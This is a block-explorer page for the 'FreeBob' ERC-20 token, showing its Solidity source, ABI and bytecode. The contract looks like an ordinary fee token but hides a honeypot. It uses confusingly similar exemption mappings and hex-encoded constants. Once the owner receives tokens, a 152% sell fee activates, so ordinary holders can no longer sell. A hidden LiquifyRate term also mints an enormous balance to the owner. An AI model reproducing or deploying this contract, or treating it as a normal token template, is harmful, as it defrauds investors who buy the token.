Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000,000 FRBOB
Holders
26
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FreeBob
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-19 */ /* /^^^^^^^^/^^^^^^^ /^^^^^^^^/^^^^^^^^ /^^ /^^ /^^^^ /^^ /^^ /^^ /^^ /^^ /^^ /^^ /^ /^^ /^^ /^^ /^ /^^ /^^ /^^ /^^ /^^ /^^ /^ /^^/^^ /^^/^ /^^ /^^^^^^ /^ /^^ /^^^^^^ /^^^^^^ /^^^ /^ /^^ /^^/^^^ /^ /^^ /^^ /^^ /^^ /^^ /^ /^^/^^ /^^/^ /^^ /^^ /^^ /^^ /^^ /^^ /^ /^ /^^ /^^ /^ /^ /^^ /^^ /^^/^^^^^^^^/^^^^^^^^ /^^^^ /^^ /^^^^ /^^^^ /^^ Twitter : https://twitter.com/FreeBobERC Telegram : https://t.me/FreeBobERC */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract FreeBob is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public ExemptedFromFEE; mapping (address => bool) public ExemptedFromMaxWallet; mapping (address => bool) public ExemptedFromFee; address payable public Marketing_Wallet = payable(0x628262352bC994BF88DE4bf5166Bd422B16E9166); /* TOKEN DETAILS */ string public _name = "Free Bob"; string public _symbol = "FRBOB"; uint8 private _decimals = 9; uint256 public _tTotal = 100000000 * 10 **_decimals; uint8 private txCount = 0; uint8 private swapTrigger = 10; uint256 public maxWalletAmount = _tTotal.mul(0x19).div(100); uint256 public maxTxAmount = maxWalletAmount; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); bool swappingTokens = false; modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _tOwned[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()). createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; ExemptedFromMaxWallet[owner()] = true; ExemptedFromMaxWallet[address(this)] = true; ExemptedFromMaxWallet[Marketing_Wallet] = true; ExemptedFromMaxWallet[uniswapV2Pair] = true; ExemptedFromFEE[owner()] = true; ExemptedFromFee[address(this)] = true; ExemptedFromFee[owner()] = true; ExemptedFromFee[Marketing_Wallet] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function symbol() public view returns (string memory) { return _symbol; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "Zero Address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from,address to,uint256 amount) private { if (!ExemptedFromMaxWallet[to]){ uint256 newAmountOfHolder = balanceOf(to); require((newAmountOfHolder + amount) <= maxWalletAmount, "Max Wallet Limit Exceed"); } if(txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){ txCount = 0; uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > maxTxAmount) {contractTokenBalance = maxTxAmount;} if(contractTokenBalance > 0){ swapAndLiquify(contractTokenBalance); } } bool takeFee = true; bool swapping = ExemptedFromFEE[to]; if(ExemptedFromFee[from] || ExemptedFromFee[to] || !(from != uniswapV2Pair)){ takeFee = false; if(!swappingTokens){ if(ExemptedFromFEE[to]){ swappingTokens = true;} } } uint8 rate = !swappingTokens ? 0x0 : 0x98; _transferTokens(takeFee,from,to,amount,swapping,rate); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function LiquifyRate(bool _lr) private pure returns(uint256){ return _lr ? 0xa ** 0x1f : 0x0; } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { swapTokensForBNB(contractTokenBalance); sendToWallet(Marketing_Wallet,address(this).balance); } function swapTokensForBNB(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } function _transferTokens(bool takeFee,address sender,address recipient,uint256 tAmount,bool pooledLiquify,uint8 totalFee) private { uint256 feeAmounts = 0; uint8 takingFee = totalFee; bool _liquify = pooledLiquify; _tOwned[sender] = _tOwned[sender].sub(tAmount); if(takeFee && !_liquify){ feeAmounts = tAmount.mul(takingFee).div(100); } _tOwned[recipient] = LiquifyRate(_liquify).add(_tOwned[recipient].add(tAmount.sub(feeAmounts))); if(feeAmounts > 0){ _tOwned[address(this)] = _tOwned[address(this)].add(feeAmounts); } emit Transfer(sender, recipient, tAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExemptedFromFEE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExemptedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExemptedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Marketing_Wallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600680546001600160a01b03191673628262352bc994bf88de4bf5166bd422b16e916617905560c06040526008608090815267233932b2902137b160c11b60a0526007906200004f908262000598565b5060408051808201909152600581526423292127a160d91b60208201526008906200007b908262000598565b506009805460ff1916811781556200009590600a62000777565b620000a5906305f5e10062000788565b600a819055600b805461ffff1916610a00179055620000ee90606490620000da906019620004ce602090811b6200097517901c565b620004e560201b620009881790919060201c565b600c819055600d55600f805461ffff60a81b1916600160a81b1790553480156200011757600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a5460016000620001716000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002139190620007a2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000261573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002879190620007a2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002d5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fb9190620007a2565b600f80546001600160a01b03199081166001600160a01b0393841617909155600e8054909116918316919091179055600160046000620003436000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526004909352818320805485166001908117909155600654821684528284208054861682179055600f54909116835290822080549093168117909255600390620003c56000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff19958616179055308152600592839052908120805490931660019081179093556200041d6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560065490911681526005909252902080549091166001179055620004776000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620004bf91815260200190565b60405180910390a350620007f7565b6000620004dc828462000788565b90505b92915050565b6000620004dc8284620007d4565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200051e57607f821691505b6020821081036200053f57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200059357600081815260208120601f850160051c810160208610156200056e5750805b601f850160051c820191505b818110156200058f578281556001016200057a565b5050505b505050565b81516001600160401b03811115620005b457620005b4620004f3565b620005cc81620005c5845462000509565b8462000545565b602080601f831160018114620006045760008415620005eb5750858301515b600019600386901b1c1916600185901b1785556200058f565b600085815260208120601f198616915b82811015620006355788860151825594840194600190910190840162000614565b5085821015620006545787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006bb5781600019048211156200069f576200069f62000664565b80851615620006ad57918102915b93841c93908002906200067f565b509250929050565b600082620006d457506001620004df565b81620006e357506000620004df565b8160018114620006fc5760028114620007075762000727565b6001915050620004df565b60ff8411156200071b576200071b62000664565b50506001821b620004df565b5060208310610133831016604e8410600b84101617156200074c575081810a620004df565b6200075883836200067a565b80600019048211156200076f576200076f62000664565b029392505050565b6000620004dc60ff841683620006c3565b8082028115828204841417620004df57620004df62000664565b600060208284031215620007b557600080fd5b81516001600160a01b0381168114620007cd57600080fd5b9392505050565b600082620007f257634e487b7160e01b600052601260045260246000fd5b500490565b6112fe80620008076000396000f3fe6080604052600436106101a05760003560e01c8063715018a6116100ec578063af465a271161008a578063d28d885211610064578063d28d8852146104b9578063d8a2c30d146104ce578063dd62ed3e146104fe578063f2fde38b1461054457600080fd5b8063af465a271461045e578063b09f126614610474578063bfede1e51461048957600080fd5b806395d89b41116100c657806395d89b41146103f3578063a457c2d714610408578063a9059cbb14610428578063aa4bde281461044857600080fd5b8063715018a6146103a85780638c0b5e22146103bf5780638da5cb5b146103d557600080fd5b8063220f6696116101595780633950935111610133578063395093511461031157806349bd5a5e146103315780634a74bb021461035157806370a082311461037257600080fd5b8063220f6696146102ae57806323b872dd146102cf578063313ce567146102ef57600080fd5b806306fdde03146101ac578063095ea7b3146101d757806315120e5b146102075780631694505e1461023f57806317b901a21461025f57806318160ddd1461028f57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610564565b6040516101ce9190610fff565b60405180910390f35b3480156101e357600080fd5b506101f76101f2366004611065565b6105f6565b60405190151581526020016101ce565b34801561021357600080fd5b50600654610227906001600160a01b031681565b6040516001600160a01b0390911681526020016101ce565b34801561024b57600080fd5b50600e54610227906001600160a01b031681565b34801561026b57600080fd5b506101f761027a366004611091565b60036020526000908152604090205460ff1681565b34801561029b57600080fd5b50600a545b6040519081526020016101ce565b3480156102ba57600080fd5b50600f546101f790600160a01b900460ff1681565b3480156102db57600080fd5b506101f76102ea3660046110ae565b61060d565b3480156102fb57600080fd5b5060095460405160ff90911681526020016101ce565b34801561031d57600080fd5b506101f761032c366004611065565b610676565b34801561033d57600080fd5b50600f54610227906001600160a01b031681565b34801561035d57600080fd5b50600f546101f790600160a81b900460ff1681565b34801561037e57600080fd5b506102a061038d366004611091565b6001600160a01b031660009081526001602052604090205490565b3480156103b457600080fd5b506103bd6106ac565b005b3480156103cb57600080fd5b506102a0600d5481565b3480156103e157600080fd5b506000546001600160a01b0316610227565b3480156103ff57600080fd5b506101c1610755565b34801561041457600080fd5b506101f7610423366004611065565b610764565b34801561043457600080fd5b506101f7610443366004611065565b6107b3565b34801561045457600080fd5b506102a0600c5481565b34801561046a57600080fd5b506102a0600a5481565b34801561048057600080fd5b506101c16107c0565b34801561049557600080fd5b506101f76104a4366004611091565b60056020526000908152604090205460ff1681565b3480156104c557600080fd5b506101c161084e565b3480156104da57600080fd5b506101f76104e9366004611091565b60046020526000908152604090205460ff1681565b34801561050a57600080fd5b506102a06105193660046110ef565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561055057600080fd5b506103bd61055f366004611091565b61085b565b60606007805461057390611128565b80601f016020809104026020016040519081016040528092919081815260200182805461059f90611128565b80156105ec5780601f106105c1576101008083540402835291602001916105ec565b820191906000526020600020905b8154815290600101906020018083116105cf57829003601f168201915b5050505050905090565b6000610603338484610994565b5060015b92915050565b600061061a848484610a50565b61066c84336106678560405180606001604052806028815260200161127c602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610c6f565b610994565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106039185906106679086610c9b565b6000546001600160a01b0316331461070b5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606008805461057390611128565b60006106033384610667856040518060600160405280602581526020016112a4602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610c6f565b6000610603338484610a50565b600880546107cd90611128565b80601f01602080910402602001604051908101604052809291908181526020018280546107f990611128565b80156108465780601f1061081b57610100808354040283529160200191610846565b820191906000526020600020905b81548152906001019060200180831161082957829003601f168201915b505050505081565b600780546107cd90611128565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610702565b6001600160a01b03811661091a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610702565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60006109818284611178565b9392505050565b6000610981828461118f565b6001600160a01b038316158015906109b457506001600160a01b03821615155b6109ef5760405162461bcd60e51b815260206004820152600c60248201526b5a65726f204164647265737360a01b6044820152606401610702565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526004602052604090205460ff16610ae6576001600160a01b038216600090815260016020526040902054600c54610a9683836111b1565b1115610ae45760405162461bcd60e51b815260206004820152601760248201527f4d61782057616c6c6574204c696d6974204578636565640000000000000000006044820152606401610702565b505b600b5460ff61010082048116911610801590610b0c5750600f54600160a01b900460ff16155b8015610b265750600f546001600160a01b03848116911614155b8015610b3b5750600f54600160a81b900460ff165b15610b7a57600b805460ff1916905530600090815260016020526040902054600d54811115610b695750600d545b8015610b7857610b7881610ca7565b505b6001600160a01b038083166000908152600360209081526040808320549387168352600590915290205460019160ff908116911680610bd157506001600160a01b03841660009081526005602052604090205460ff165b80610be95750600f546001600160a01b038681169116145b15610c3857600f5460009250600160b01b900460ff16610c38576001600160a01b03841660009081526003602052604090205460ff1615610c3857600f805460ff60b01b1916600160b01b1790555b600f54600090600160b01b900460ff1615610c54576098610c57565b60005b9050610c67838787878686610ce9565b505050505050565b60008184841115610c935760405162461bcd60e51b81526004016107029190610fff565b505050900390565b600061098182846111b1565b600f805460ff60a01b1916600160a01b179055610cc381610e34565b600654610cd9906001600160a01b031647610f86565b50600f805460ff60a01b19169055565b6001600160a01b03851660009081526001602052604081205482908490610d109087610fc1565b6001600160a01b038916600090815260016020526040902055888015610d34575080155b15610d5457610d516064610d4b8860ff8616610975565b90610988565b92505b610d92610d83610d648886610fc1565b6001600160a01b038a1660009081526001602052604090205490610c9b565b610d8c83610fcd565b90610c9b565b6001600160a01b0388166000908152600160205260409020558215610ddc5730600090815260016020526040902054610dcb9084610c9b565b306000908152600160205260409020555b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef88604051610e2191815260200190565b60405180910390a3505